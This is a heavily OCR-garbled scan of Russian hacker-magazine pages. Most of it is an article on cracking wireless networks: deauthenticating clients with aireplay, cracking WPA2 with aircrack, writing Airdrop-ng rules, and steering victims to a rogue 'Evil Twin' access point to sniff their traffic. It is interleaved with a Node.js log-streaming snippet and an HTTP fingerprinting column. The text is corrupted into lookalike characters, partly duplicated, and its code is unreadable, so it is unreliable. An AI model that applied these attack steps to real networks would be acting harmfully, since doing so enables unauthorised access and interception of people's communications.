водится в рехим мониторинга. |осле этого запускается а!го6опр,
ау1в14нг
ем веке
[!ентест 6еспр0в0дных сетей: чт0 н0в0г0?
[ще не так давн0 для взл0ма ключа к 6еспров0дн0й сети п0тре6овалось 6ь: сле_
дующее: 0тк0мпилир0вать и устан0вить п0д [|пшх не06х0димь|й с0фт, 0ть!скать
редкий 6еспроводн0й адаптер на стр0г0 0пределенн0м чипсете и еще, как мини-
мум, пр0патчить для нег0 драйввра, чт06ь! м0жн0 6ь:ло инжектир0вать пакеть!
в сеть. 1ак ли эт0 сл0жн0 сейчас?
БгспР0в0днАя А3БукА
['1рехде нем начать, напомню несколько вахнь!х основ пентеста бес-
проводнь|х сетей, чтобь: освехить их в памяти для тех' кто с этой
темой ухе знаком, и ввести в курс дела тех' кто раньше с этим вопро_
сом не сталкивался. [1оследним повезло больше всех, потому как
подобрать пароль для беспроводной сети, при условии, нто он вообще
подбираемь:й' сейчас стало как никогда просто. 8се упирается только
в то количество времени, которое потребуется на это потратить.
14так' 6еспроводнь!е сети моуг бьгть открь!ть!ми' к которь!м мохет
подключиться любой хелающий, и закрь;ть:ми, для подключения
к которь!м необходимо ввести ключ. 8 закрь:ть:х беспроводнь:х
сетях по-прехнему' хотя и редко, используется защита \А/ЁР [\:!!ге6
Ёчш!ма[еп{ Рг!масу!, которая безнадехно устарела, и, в большинстве
случаев, технология шРА^/уРА2 [\:![_Ё! Рго|ес{е6 Ассезз]. [1рименение
\:!ЁР - это своего рода приговор, потому что такая защита со 100%
вероятностью взламь!вается из-за фундаментальнь!х уязвимостей.
(люч к \:!РА/\г\, РА2, напротив' возмохно подобрать с помощью брут_
форса' принем успех напрямую зависит от того' есть ли используемьпй
ключ в словаре для подбора или нет. !есмотря на концепцально
разнь!е подходь! к взлому этих защит есть одно общее звено - для
проведения атаки необходимо перехватить беспроводной трафик в
сети. 6 этой заданей справляются специально заточеннь!е для работь:
с !!!-Р!-снифферь!, в том числе утилита а!го6шпр, которая является
своего рода стандартом де-факто. [1равда. просто запустить сниффер
и сохранить в дамп зашифрованнь!е даннь!е из эфира недостаточно'
0бязательнь: м требованием является перехват пакетов' которь! м и
клиент обменивается с точкой досцпа в момент подклюнения. 8
случае с !!БР - это так назь!ваемь|е вектора инициализации !!' а в
случае с шРА/шРА - последовательность "\:!РА Ёап6зБа}<е". [олько
эти и другие пакеть!, отвечающие за аутентификацию и поддерхание
) 034
хАквР 08 /1 з97 ! 0
BemeP34 for Journal-plaza.net
п.|
[!роект молодой,
ется
> !п{о
Большинство' если
не все, библиотеки
и проекть! на \о6е'
)5 сосредотонень: на
0:1Бшб' поэтому если
нет какого-то модуля
нухного тебе' ищи
еготам'
> [!п[з
. йатериаль: по
\ о 6 е_]5,
9госрз 9оо9{е соп/
9гоор/по!91з
. Русскоязь!чнь!й
сайт и форум:
[ц1шп-:.по6е1з 1ц
. йнформация о сер
верном !5:
е п 'тц[ тр е с1!а. о г97
и:![]/5ег уст з:6е_
.1ама3сг;р1
. [ороший мануал
для начинающих по
\о6е._]5:
шшш.в[6ез[:аге
пег/|[е_шп6е[ пе6/
по6е1з а ч о:с [т {ош г
. презентация-
введение по \о6е.
-15:
пос1е1з ог9/1зсоп[.р0[
5.,уе. .!лп1.о а! ь|!р://127.0.0.1:во01
\о6е построен вокруг Ёмеп||оор - глобального цикла
обрабогки собь:тий' 'оторь:й на кахдом тике проверяег'
готовь! ли даннь!е для какого-либо из определеннь!х
пользователем коллбэков. Ёсли да;нь:е есть, начинае--
ся вь!полнение кода. Ёсли не осталось больше кода -
охидаем следующего вь!зова' !-.{и кл в ь: пол няется вне .] 5'
а в самом двихке' написанном на [, вследствие него
это происходит очень и очень бь:стро [порядка сотен
ть!сяч раз в секунду). 9то-то типа 6есконечного цикла' 3
дополнение к этому в сервер встроен онень эффектив-
нь й сборщик мусора (66)' поэтому дахе ть!сячи подклю-
чений не вь!зь!вают переполнения памяти и падения
сервера. \о0е.;з обладает встроенной родной системой
работь: с собь:тиями.
пР0стЁйший 5тгАм!ш0-сЁРвЁР
[1опробуем нагисато простой' но в !о'е время полезнь й
пример, которь;й в реальном времени будет вь;давать
пользователю полезную информацию без перезагрузки
страниць1' 3от идея для нашего прилохения - брать
новь!е даннь!е, ко]орь!е добавляются в 'екстовь:й лог. и
вь!водить их в реальном времени на ве6 странице:
уаг 5у5 = гечш|ге ( '5у5' ) ,
пес - ге9ш!ге('пе['),
5раш = гечш!ге('сь!1а_ргосе55' ) .5рашп,
!с|р = гечш|ге("ьсср',);
5у5.рш[5 ( '\п1'{у ргосев5 Р1 о: ' +
ргосезз.р{6 + '\п');
уаг |а!1 = 5рашп ( 'са|1' , [ '_г' ,
' /уат / \о9/п9]пх/ассе55. 1оо' ] ) ;
-'( '|' , |' ,"' ,'.' ,..
5у5.рц|5 (''5|аг[ [а11|п9" ) ;
|а| 1 . 3|аоцс - асо!| 5сепег ( '' оа[а " .
гшпс['оп (аа[а) {
5у5.рш|5 (оа[а) ;
./::1;,о т:т;;уег.; с(.[]с' !]а ко:]с'о||.'
));
ь[[р. сгеа[е3егуег ( {цпсс'оп (геч, ге3) {
ге5. 5епонеааег (200, {''соп[еп| туре'' :
х^кЁР 08 /1з9/ |0
и АР] постоянно изменя_
"|ех[/р1а'п'' } ) ;
[а]1.5[соц[.аос!15[епег(''оа|а,', 'цпс[|оп
(оа[а) { гез.шг]|е(аа[а); });
}).1]зсеп(80);
- помощью функции зрашп[) мь; создаем донерний про
цесс утилить! |а![, которая' собственно, и занимается
тем, что счить!вает новь е даннь!е' которь!е появляются
в логфайле. ['1роцесс запускается только раз во время
старта сервера' 6обственно' наша задача - отлавливать
моменть!' когда команда |а1[ будет вь!водить новь!е даннь!е
из логфайла и транслировать вь!вод на веб-страницу ках
дому подключившемуся клиенц. !ля этого мь: будем сле-
дить за возникновением собьттия 8а|а [появлением новь!х
даннь:х! для переменно7' . ^отооой запущен '']роцесс
гилить| [а![' и вь;водить их на страницу с помощью коман_
дь; ттг!|е[!' }аким образом, соединение будет оставаться
открь!ть!м для кахдого |11Р_запроса. 8от и все. [ледить
за активностью процесса не так просто для о6ь нного
ве6 прилохения' но ничего не стоитдля неблокируемой
архите/црь 1о6е.]5 и ло-ики вь!полнения, основанной на
собь:тиях- Ёам остается только запустить скрипт: <по6е
1а:[.1з еггог[о9" и открь!ть в браузере }:1{р://[оса|[оз!:80.
Ёа странице будр отобрахаться все сообщения, которь]е
появляются в логфайле еггог[о9.
в0т и скА30чкг к0нгц
₠ейчас' вь бирая на чем бь: таком написать очередное
шеб 2.0 гоилохение' где не только ьрасивь!й кпиеч_|
ский код, но и что-то надо делать на сервере' тебя
парит одна грустная мь!сль о том' что все ухе изобре-
ли и 11аписали до тебя. [е хе язь:ки' что и десять лет
назад, те хе библиотеки' протоколь! и сервера. РЁР
ухе ого сколько лет, Рег[ так вообще седой, Ру1ьоп у
всех на слуху, а Робу успел надоесть. ['1исать для веба
стало рутиной - посмотри' как твои друзья сидят и
думают, что хе сделать с 25-мегабайтнь!м монстром
7еп6 {гапешог[' А тебе хочется что-то нового, бь;ть
на острие прогресса, создавать то' на чем потом будут
писать все, а сейчас знают только увлеченнь!е хаке-
рь! и ищущие себя дзен-программерь:? ['1осмотри на
!ама5сг!р{ в сервере' он просто создан для этого' 0чень
простой, мощнь:й, еще не погрязший в тонне 6иблиотек
и фреймворков.3адачи' которь!е на Р!Р не решить
вообще' на базе \о6е...]5 решаются буквально десятком
строк' !,4' возмохн0' именно такое программирование,
наконец' принесет утраченное чувство наслахдения от
раз ра ботки 13
|тилита для мониторинга логов
) 033
BemeP34 for Journal-plaza.net
ва
ау!впнг
ч
ем веке
[!ентест 6еспр0в0дньж сетей: чт0 нового?
[ще не так давн0 для в3л0ма ключа к 6еспроводной сети п0тре6овалось 6ь: сле-
дующве: 0тк0мпилир0вать и устан0вить п0д [|пшх нео6ходимь:й софт, 0ть|скать
редкий 6вспроводной адаптер на стр0г0 0пределенн0м чипсете и еще, как мини_
мум, пр0патчить для него драйвера, что6ь: м0жн0 6ь:ло инжектир0вать пакеть!
в с0ть. 1ак ли эт0 сл0жно сейчас?
БгспР0в0днАя А3БукА
['1рехде нем начать, напомню несколько вахнь!х основ пентеста бес-
проводнь!х сетей, чтобьп освехить их в памяти для тех' кто с этой
темой ухе знаком' и ввести в курс дела тех' кто раньше с этим вопро_
сом не сталкивался. [1оследним повезло больше всех, потому как
подобрать пароль для 6еспроводной сети, при условии, нто он вообще
подбираемь:й, сейчас стало как никогда просто. 8се упирается только
в то количество времени, которое потребуется на это потратить.
!,4так, беспроводнь!е сети моуг бь;ть открь!ть!ми' к которь!м мохет
подключиться любой хелающий. и закрь:ть:ми. для подключения
к которь!м нео6ходимо ввести ключ.8 закрь;ть:х беспроводнь:х
сетях по-прехнему, хотя и редко, используется защита \&ЁР ([[!ге0
Ёчш!ма[еп{ Рг!масу), которая безнадехно устарела' и, в большинстве
случаев, технология шРА/шРА2 [!!!- Ё ! Рго1ес1е6 Ассезз]. [1 ри менение
![ЁР * это своего рода приговор, потому что такая защита со 1 00%
вероятностью взламь!вается из-за фундаментальнь!х уязвимостей.
(люч к !!РАА!РА2, напротив' возмохно подобрать с помощью брр-
форса, принем успех напрямую зависит от того, есть ли используемь:й
ключ в словаре для подбора или нет. 11есмотря на концепцальн0
разнь!е подходь! к взл0му этих защит есть одно общее звено - для
проведения атаки нео6ходимо перехватить 6еспроводной трафик в
сети. 6 этой заданей справляются специально заточеннь|е для работь;
с \:!!-Ё!-снифферь!' в том числе утилита а!го6шгпр, которая является
своего рода стандартом де-факто. 11равда, просто запустить сниффер
и сохранить в дамп зашифрованнь!е даннь!е из эфира недос1аточно.
0бязательнь:м требованием является перехват пакетов, которь!ми
клиент обменивается с точкой доступа в момент подклюнения. 8
случае с !!ЁР - это так назь!ваемь!е вектора инициализации !!, а в
случае с шРА/шРА - последовательность <!!РА Ёап6зБа[е>. 1олько
эти и другие пакеть!' отвечающие за аутентификацию и поддерхание
) 0з4
соединения' передаются в эфир в открь!том виде без шифрования.
3агвоздка заключается в том' что клиент авторизуется на точке досц-
па довольно редко, и этого момента в общем слунае пришлось бьп
хдать очень долго. 0днако если отправить в сеть специально состав-
леннь:й пакет деаунтетификации, то он с большой вероятностью
отключит клиента от АР и вь:нудит его подключиться к ней вновь. !ля
этого есть специальнь1е гилить|- Авторитетная а!гер[ау - одна из них
1ут надо сказать' что инхектировать фреймь: возмохно' если пере-
вести беспроводной адаптер в так назь!ваемь:й рехим мониторинга
[гпоп!|ог гпо6е}' а под виндой сделать это практически невозмохн0'
[!о этой принине и слохилось' нто стандартной платформой для игр
с !!]-Р! являются *п!х-системь;. [1роще всего эксперименть! даются с
помощью не6езь:звестного 8ас[!гас}<' в которь:й.изначально включе-
но все необходимое. ['1ринем для запуска потребуется лишь сделать
из дистри6уива загрузочную флешку с помощью у1илить| [!!,{е{6оо{!п
(опе1боо1!п'зоцгсе{ог9е.пе|). 8озвращаясь к теории: когда на руках
есть дамп с перехваченнь!ми пакетами' в бой вступает утили-га
непосредственно для взлома клюна. 1ут есть разнь!е варианть!,
но среди прочих вь!деляется классическая тулза а!гсгас[, которая
использует несколько алгоритмов для взлома !!ЁР, а такхе метод
брутфорса для !!РА/!!РА2. Бсли все проходит хорошо' на вь!хо_
де программь! пентестер получает ключ для беспроводной сети.
['1рименательно, что все три утилить' а!го0шпр, а!гер!ау и а!гсгас}<
входят в один пакет дилит А!гсгас&-п9 [а!гсгасй п9'ог9}.
ш!-г! спАскЁп
!,4з всего этого вь!рисовь|вается вполне понятная схема для взлома
клюна к беспроводной сети {для определенности, пусть она будет
защищена ![РА2). |1 редварительно беспроводной адаптер пере_
водится в рехим мониторинга. ['1осле этого запускается а!го6шгпр'
хАкЁР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
в сшявв9.\0ф.ы9ъ!|оь.Ру - 5ць!|п тш !3 0шксБт[п80} -@ в
[!ростенький скрипт на Ру|[:оп из6авляет
от гемоРроя
нтобь: в целом изунить эфир и определить досцпнь!е сети. ,!алее в
ход идет сниффер для перехвата даннь;х беспроводнь!х клиентов и
строго определенной точки досцпа [она указь1вается по \1'А[-адресу)
на заданном канале, а в сеть с помощью а!гер[ау отправляется 6еш1Б-
пакет' чтобь: отключить от точки доступа какого-ни6удь пользователя
[опять хе' по йА6'у). (ак только сниффер сообщает о перехвате
последовател ьности \:!РА Ёап0зБа[е, дамп сниффера скармливается
крякеру а!гсгас[, которь:й в свою очередь пь!тается подо6рать ключ по
словарю. 8се очень просто' но довольно муторно и не онень удобно'
8се утилить: консольнь1е' поэтому постоянно приходится ковь!ряться с
передаваемь!ми ключами для запуска' копировать цда-сюда нухнь!е
йА[-адреса' названия дампов. ['1еред атакой еще неплохо изменить
свой собственнь:й йА[ с помощью цлзь: пасс|ап9е1 а нтобь: отсо-
единить пользователя от точки доступа' цлзу а!гер[ау зачасцю при
ходится запускать несколько раз. А если раньше приходилось делать
['1еред тем' как экспериментировать' нухно у6едиться, что бес-
проводной адаптер мохет ра6отать в рехиме мониторинга.
[!уяший способ - свериться со списком поддерхиваемого обо-
рудова н ия на са йте п рое кта А! гсгас&-п9 1б !:. |йцд[з!эрц''_!*;
Ёсли хе встанет вопрос о том, какой 6еспроводнь:й модуль
купить, то начать мохно с любого адаптера на чипсете
пт|8187|. |-.]58'шньге донгль! легко найти в интернете за $20.
нЁх ш овсвРт₠о
[.-* 1
^5сш в о₠сввтво -> п'3рфо'#е!@-
Ёовая версия 5рооп\А/РА' котоРая вот-вот
появится в сети
все вручную. то сейчас процесс мохно без труда автоматизировать с
помощью готовь х решений.
1. А!,томАт!с шРА нАш05нАкЁ сАРтшпЁ {сос]е.9оо9|е'согп/о/зу|оо[:).
3то очень простой, написаннь:й на Ру{[оп'е скрипт' которь:й ть! легко
мог бь набросать и сам. 3се. что он делает - это последовательно
вь!полняет те самь:е действия для получения \&РА БапзБайе'а' которь!е
я только что описал. 3апускает одну программу с нухнь!ми параметра-
ми' о6рабать:вает ее вь!вод' формирует ключи для запуска следующей
утилить\ и т.д. 0т пользователя требуется только указать название
интерфейса [например' гпоп0]' канал, йА[-адреса точки доступа и
клиента' а на вь!ходе получить 0огпр-трафика с []ап6зБа[е'ом.
2. 5Ро0шшЁР/5Ро0шшРА 11огсгпз.гепоте ехр[о:1'ог9]. 3ти две ли-
лить! впервь!е появились в 8ас[|гас[3 и тш хе стали популярнь!ми.
(-.]то легко понять: с этого момента для подбора клюна к беспровод
ной сети вообще пропала нео6ходимость ковь!ряться в консоли. ['1о
сути' все, что позволяют делать 5рооп\7[ер/5рооп\:!ра - это удобно
управлять тулзами из набора а!гсгас[ п9 с помощью графинеского
интерфейса и вь!полнять часть действий автоматически. !о это ни в
коем случае не отнимает необходимости понимать, что происходит во
время атаки. ['1ользователю точно так хе необходимо вручную указь1-
вать тот хе самьтй канал, на котором работает тонка доступа' правда'
не в виде параметра для запуска прилохения, а с помощью графине
ского ползунка'
з. 6Ёп!х ш!г! спАскЁп [[огшттз.геп:о{е ехр[о 1 ого]. Большое количе-
ство недоработок, которь!е оказались в 5рооп!!ер/5рооп\А/ра, заста-
вила составителей 3ас(1гас['а отказаться от них в четвертом релизе
дистрибдива. !-']о свято место' как известно, пусто не бь:вает' и на
замену пришла замечательная цлза 0ег!х !!!{] сгас[ег 3то не авто-
матический взломщик сети' но онень профессиональнь:й помощник,
упрощающий многие моменть:. 9то нухно делать самому пользова-
телю: на вкладке "8оп[!0шга[!оп" вручную вь:брать 6еспроводной
интерфейс [не забь:в перевести его в рехим мониторинга с помощью
специальной опции) и далее в списке, где приведен вь:вод сниффера'
указать беспроводную сеть для взлома' [1осле этого' в общем-то' оста-
ется нахать кнопки <51аг{ 5п!|{!п9 ап6 [о99!п9" и.Рег{оггп а 1еэ[ о{
!п.!ес{!оп АР'н3 3цд''.'х \0ЁР или !!РА' в зависимости от используе-
мой в сети защить!. Ёще одна вкладка - Ёа[е АР - позволяет мигом
создать на нухном канале фейковую точку досцпа - это фронтед для
консольной гилить| а!гБазе-п9.
влАстглин БгспР0в0днь!х устР0йств
8ахной составляющей любой атаки, как ухе бь:ло сказано' является
отключение 6еспроводного клиента от точки досцпа' чтобь: он заново
Р:_.:ч!!ц4-'.-;г.1
о ве.55о(1*е Р.'!оа;<а!|у
'|_] ц!па РР5 |" |-
в55|о! оо!25:15:54!^^!з4
₠55|о. ш₠0я-ААзо
сн^ш: 11
Б- |;1
!
АпАск 50сс₠5гц! !!
(итайский ку1т Аля взлома ш!-г!
х^кЁР 08 /1з9, 10
> 035
BemeP34 for Journal-plaza.net
6ег!х \|/!!! сгас}ег из стандартного на6ора
8ас]<|гас[ 4
подконнектился и обменялся па кетами авторизации. !тил ить; а1гер[ау-
п9' п6й3, !о|61 1 - все, по сути' предназначень1 для одного и того
хе - отправки в 6еспроводную сеть пакета деарентификации, чтобь:
разорвать коннект мехду клиентом и АР' 0ни написань! несколько лет
назад, и до сих пор активно используются. (онцепцально новая раз-
работка бь:ла представлена в начале года в 8ашинггоне на конферен-
ции 5Бгпоосоп - это цлза А|г6гор-п9.
9то она позволяет сделать? [казать по правде - понувствовать себя
маленьким властелином. !ело чг не ограничивается только отключе-
нием клиента от точки досцпа. Ёет. 8место этого ть! мохешь полно-
стью управлять подключениями пользователей' разрешая или полно-
стью запрещая им подключения к точке досцпа. ['1олитика задается
с помощью правил' вроде тех' которь!е используются в файерволе.
[1ринем это моцт 6ь:ть очень ги6кие правила' позволяющие реали-
зовать все что угодно. |ачиная от того, что разом отключить всех
пользователей от любь:х точек досцпа (и препятствования их под-
ключению вновь)' и заканчивая слохнь]ми правилами' когда коннект
разрешается только для строго определенной точки досцпа, но и то
только для конкретнь|х клиентов {скахем' для ноутбуков компании
0е||].3то очень круто.
['1равила запись!ваются в текстовом виде в специальнь:й файл и сни-
ть!ваются программой последовательно от первого до последнего.
(ахдое правило состоит из трех полей: ас|!оп/ар/с[|еп1. 6 помощью
поля ас1]оп правила разделяются на разрешающие [а - а|[ош} и
запрещающие [6 - 6епу). ['1араметрь; .ар> и .с[!еп1, указь!вают соот-
ветственно на точку доступа и клиентов' к которь!м это правило при-
меняе!ся. 0бций синтаксис такой:
а (а11ош) /Бзэ1ё пас (ог 'апу' ) 1 с]]епс пас (ог 'апу' )
или
6(6епу)/бэз1ё пас(ог 'апу') !с11епс пас(ог 'апу')
[1о умолнанию А!г6гор-п9 пропускает весь 6еспроводной трафик, нто
не сильно весело.
8озьмем для примера простое правило: 6/00-1 1 -22-33-44-55!апу. 0но
будет запрещать любь:м [апу) клиентам подключаться к точке доступа,
у которой йА!-адрес - 00:11.22:33:44:55' 8место целого йА6'а мохно
) 036
[!одро6нь:е логи А|гагоР-п9
бь:ло указать только первь!е три составляющие, которь]е, как известно'
закрепляются за конкретнь!ми производителями. Более того, мохно
дахе задать название вендора в строковом виде {6/|!п[зуз!апу]' про-
грамма в этом случае сама заглянет в базу [огпрапу 0[.)!' где найдет
|истри6утив 8ас}<{гас[ _это' по 6ольшому снец, готовь:й сбор-
ник софта для тех, кто не хочет париться с поиском гилит для
пентеста' Ёо если говорить о взломе \т!!-Р!, то сборники бь:вают
не только программ, но и оборудования.
1. 8 йе9а\ешз прошлого номера мь| упоминали о готовь!х ком-
плектах девайсов для вэлома \{/!-Ё|' которь;е активно продают_
ся в (итае под лозунгом "[4'нтернет долхен бь:ть бесплатен>>.
6обственно, сам комплёкт состоит из дешевой узконаправлен_
ной антеннь:, !!!-Ё! 058-модуля, к которому мохно подключить
антенну, диска с записаннь:м 8ас[1гас['ом и подробной иллю-
стрированной инструкции о том, как подобрать ключ с помощью
утилит 5роопииер/5рооптмра. 6обрать та кой ком плект ничего
не стоит самому. !-лавное _ приобрести беспроводнь:й модуль;
дешевле всего он обойдется' если покупать на известной китай_
ской онла й н-барахол ке 6еа[ех|гепе.соп. (.]то касается а нтенн ь!,
то ее вообще мохно сделать самому по схемам с сайтов па9'гш
и [ап23.гш.
2. Ёе в пример (итаю, в [1.1татах продается девайс, кото-
рь:й намного 6олее технологичен - это !!!Ё1 Р!пеарр|е {!!!Р!
Р|пеарр[е|. 8 двух словах - это хардварная реализация атаки
Ро9ше АР. 8нщри не6ольшого игрушечного ананаса размещает-
ся точка досцпа с хитрь|м софтом, которь:й <<заманивает)> клиен-
тов и снимает трафик. Автономная работа <<ананаса>> достигает_
ся за счет 4-х пальчиковь:х батареек. [тоимость такой игрушки
составляет $ 1 44' но разработни ками только приветствуется,
если люди со6ираютдевайс сами.8 качестве основь! взята
дешевая точка досцпа Ёоп 2100 {шшуи.{оп.согп] с 6еспроводной
картой на чипсете А{него5, дерхатель для батареек из онлайн-
магазина радиотехники [ь!1.|у/опо{{5ш.{сь], а в качестве [10
используется специальная версия утилить; (АРйА _ ..)аза9ег
[тмшш.0! 0 ! п! п]а.ог9/]аза9 ег]' Ёа сайте иаииш. Ба[5. ог9/тм/!п6ех. о[о/
.-]аза9ег даже приведена подро6ная инструкция по сборке и
настро й ке.
66поа! соп'|9цвс!оп5 ап{ па{шо!к 5о!ос{!оп. '_
5е|её|ье !п!оЁасо: в
1 о2:27.27.77.22
ш!] оо:1з:21:57:8з
ш{_г! !п!. оо:ог:2о:с6:65
ала ш.] оо:1з:21:57:в:
-59 шРА2шРА ткл
-6о оРш
-66 шРА2шРА ткш
_7о шРА тк!Р Р5к
-72 шРА тк|Р Р5к
ш.-! оо:11:оА:8А:5]
оо:1в:гз:₠9:96
1з:о7:о2 - моп![ог оп: ш|апо [50ссе55]
13:о7:1а - ге5сап пе[шог&5 [5!ссе55]
6ег!х [7 ,!"!й**
[!одставная точ ка доступа
хАквР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
твие <производитель - йА[-адрес" и подста-
ви7 нухное значение. 1е хе самь:е правила относятся и
клиенц. ( примеру' так мохно ограничить возмохность
\:!| Ё] для всей продукции Арр|е: 0/апу!Арр[е. Бще одна
особенность: в параметре с[|еп1 мохет бь;ть указан список
из разнь!х йА[-адресов, например' 1 1 :22:33:44:55.66,00:
1 1 :22:33 : 4[.55'55 :44 :33 :22:1 1 :0' [епе рь посм отри м' ка к это
вь!глядит на практике.
кАк п0ль30вАться А!п0п0Р-ш0
А!г6гор-п9 написан на Ру1ьоп и требует для работь!
установленнь:й а!го6опр-л9 и би6лиотеку |огсоп ]. !-']о
если использовать 8ас[1гас[, то все необходимое и сама
утили-га без проблем установится из стандартного репо-
зитория:
ар[_9е[ цр6а|е
арс_9е[ !п5[а11 а|гётор_п9
[хема использования мало чем отличается от знакомь!х
на м ата к:
'|) ['1ервь:м делом надо перевести \.{!-Р!-карту в рехим
мониторинга:
а1гпоп_п9 3[аг! ш1апо
2| Аалее запустить 6еспроводнь:й сниффер а!го0шгпр'
сконфицрировав его вь!вод в .сзм-файл:
а1го6шпр-п9 _ш ашпр'|1е - ошср!с-{огпае с5у
поп0
3| [1осле этого создаем файл с правилами для А!г0гор.
8озьмем для примера описанное вь!ше правило, запре-
щающее соединения с АР, у которой пас = 00-1 1-22-зз-
44-55' и запишем его в файл гш[ез:
папо гц1ез
а/ оо -1\-22 -зз_44 _55 ! апу
4| 8се, осталось запустить сам а!г6гор-л9' прилинковав-
шись к с5у-вь!воду сниффера и конфиц с правилами:
а!г0гор-п9 _! поп0 -с оцпрг11е.с5у -г гц1е5
!тилита начнет свою рабоц, вь:водя сообщения об
отправленнь!х в сеть пакетах. Ёсли помимо прочего
указать ключ ''-Б'', дополнительно 6удет вь!водиться под-
робнь:й отнет' 8 результате на консоль будут вь:водиться
сообщения' каким клиентам и где 6ь:ло разрешено или
запрещено соединение. (ак я ухе сказал, условия мог}т
бь;ть намного более ги6кими' это достигается с помощью
каскада правил:
*А1 .] ош правило
а/ 00 \1-22-33-44-55 | 55-44-зз-22-11-оо
4 эе!]у _ п|].] ви]]о
о/0о-1'1-22-зз _44_55 ] апу
1аким образом' мь! разрешаем досцп к точке клиенц с
йА₠-адресом 55-44-зз-22-1 '| -00, в то время как для всех
остальнь!х соединение по-прехнему останется недо-
сцпнь!м' ['1олунается, А!г6гор-п9 мохно использовать как
простейшую систему контроля досцпа :]' й это без какого-
либо досцпа к админке тонки!
х^квР 08 /1з9/ 10
Бу!!- тш!ш5 у2.0
0пь:тнь;е умь!, наверное' ухе догадались, какие возмохно-
сти предоставляет А|г6гор-п9 в плане проведения й!]й-
атаки. Раз мь! мохем влиять на то, с какими АР имеет
возмохность работать беспроводной клиент, никто не
мешает направлять его подключения к нашей особенной
точке доступа, а на ней снифать весь проходящий трафик.
9еловек видит на нощбуке сеть..Ргее !!!-Ё!", подключает-
ся к ней и никогда не подозревает, что это вовсе не точка
досцпа заведения, в котором он находится' а подставная
АР-шка' развернлая на нощбуке с соседнего стола. Атака
[у!| 1ш]пэ (или Ро9ше АР] известна еще с 2004 года и
основь!вается на небезопасном поведении 6еспровод_
нь!х клиентов. 8 людном месте с помощью специального
софта поднимается точка досцпа' которая отвечает на все
рго5е-запрось:. в которь!х клиент просит отозваться точки
досцпа с указаннь!ми параметрами. Фальшивой точке,
как правило' устанавливается [55!0 той беспроводной
сети, которая легитимно развернуга внугри помещения'
поэтому клиент' ничего не подозревая' подключается к
ней. Раньше многое зависело от уровня сигнала, кото-
рь:й ть; мохешь предлохить: чем он вь!ше, тем 6ольше
шансов, ч-о клиен] подключится именно к ;воей точке
досцпа. 6ейчас хе' когда п0явился способ насильно
подключить клиента к своей АР, эта атака вь!водится на
совершенно новь:й уровен ь. .0,ля последнего потребуется
А!г0гор-п9 и два правила' запрещающие соединение с
лю6ь:ми АР' кроме фейковой [пусть у нее !Р будет равен
00:аа: Бб: сс:6 6: ее):
а/00 : аа :б5: сс : со : ее | апу
6/апу ! апу
Аалее дело за традиционнь:м софтом для проведения
атаки Ро9ое АР. йетодика впервь!е бь:ла реализована в
цлзе (АР\4А еще в 2004 году' [1озхе проект бь:л реализо-
ван как модуль ме1а5р[о!1' и полунившийся кагпе{а5р]о!{
[Б;1.|у/(агп-:е1азр1о!!] сейчас является одним из наи6олее
удачнь!х решений для проведений атаки. ['1одробности
использования доступнь! на сайте проекта. ['1ригодится
такхе опь!т разработников А!г0гор-п9' которь:й мохно
почерпнгь из их презентации на 5Бгпоосоп [щщц|
збгпоосоп.ог9/201 0/з[!0ез/ш![ богпБ.: р]. !,отя есть и другой'
более простой и изящнь:й способ - воспользоваться спе-
циальнь!м девайсом' о котором ть! мохешь прочитать во
врезке. Ёо он по понятнь!м причинам и более дорогой.3
} !п'о
8ся информация
п редста влена
исключительно в
озна ко м ител ьн ь!х
целях.8мешатель-
ство в рабоц нухой
беспроводной сети,
во-первь!х' мохет вь!-
звать недовольство ее
хозяина' а, во-вторь!х'
нарушает!( РФ. [4'мей
голову на плечах.
Автор и редакция за
твои действия ответ-
ственности не несет.
8 8ас]<1гас& 4 есть и драйверь!' и софт для пентеста ш!-г!
> оз7
BemeP34 for Journal-plaza.net
| . тюрин <6гееп0о9, Алексей а9гггао9а9па.1.соп
0тветь: от различнь:х Ё11Р_
серверов. 8идна разница
в порядке полей, е{а9'е,
регистре.
. специФичные для
веб_сервера поля в
ответе;
. Реакция сервера в
зависимости от дли-
нь] запроса;
. и прочее.
Рё!ооп5е|опАбаспо 1 з2з
9 !с дрась...'Фр1..сФ в0
в0 / |@/!.0
@/!.1 200 ок
0а!.: 5оп. 15 ''цп 200з 17:!0:49 м
5₠.,6г: АР.сь./1.].2з
!.в!-ь{1|1.а: тьц' 2, г.ь 2о0з 03.!в|19 м
п69:''з2(17_с|_з.Ба8!вз''
Асс.!с-п!.9.!: ьг.в
со'!.1!_!.п9!ь: !96
со!а..!1о!. с!о..
со!!..!-тур.: !.'!^61
пе!ооп5ефоп!!5 50
9 !с !]...8ФР!..сф 60
нш 7 @71.0
Ф/!.! 2о0 ок
9₠Ре.: х1сфзо{!_!!575.0
соц!.ц!_!ос!!!о! : ь!!Р./|!6..!апР1..сФа..ац1!.ий
0а!.: г!1. о1 ]ап 1999 20:1з:52 Ф
со!!.!!_тур6 : !а[!/ьа]
Асс.р[-ъд9.6: ьл69
сАв!_м.а1г!.а. г.'. 01 ''а! !999 ?о:1з:52 ф
п.9 : н7".оаз62.4сзз5ь.1:а₠1'
соп!о!!-!.п9{ь: 1зэ
по$оопзе!оп пе!5саое Ёп!е!ог!эе4 1
9 пс !.!эс!в..о'Ф!1...ф в0
нф 7 @71.0
@/1.1 200 ок
56ф..: м!6с.0._Ёп!э!Рг1../4. 1
0д!.: &!. 16 ,,ц! 2ооз о6:о!:4о м
со!!.!1_!я.: !.хиь!
!,.6!_ша!г!.а: фа' 31 ;;!1 20о2 |5:з7:56 ф
со!!.!!_1.п9!ь| 57
щ!
РЁ1]]ЁЁ1.1Ё:
3А[А9А: опРЁдЁлить вБРсию нттР-
сЁРвЁРА
8 недавнем номере 1[ бь:ла х0рошая статья' в которой описана тема с0-
крь;тия/изм ен ен ия 6а н неро в для разли ч н ь!х серв и сов, 6удь то Р1Р - или
Ё11Р-се рвер. Ёо, чтобь; ть: бь:л всесторон н е воо рухен ' п оведа ю те6е о
более продвинрь!х методах детекта |0' 8 этом номере о Ё[}Р-серверах
(оненно, стронка.5егуег' в заголовке - это хорошо. Ёо на нее слишком
легко повл и ять. |1то хе у на с есть еще ?,[,остатон но м но гое. 6щь в том,
ято разнь:е веб-сервёрь! п0-разному посцпают в различнь!х сицациях.
1о есть мь: лось!лаем различнь!е запрось! серверам, а они по-разному
отвечают. 8 основном это связано с неопределенностями РР( и|или
отклонением от них. ['1оэтому мохно составить определеннь!е отпечатки
{{!п9егрг!п1) кахдого Ё}}Р-сервера' иногда до конкретной версии.
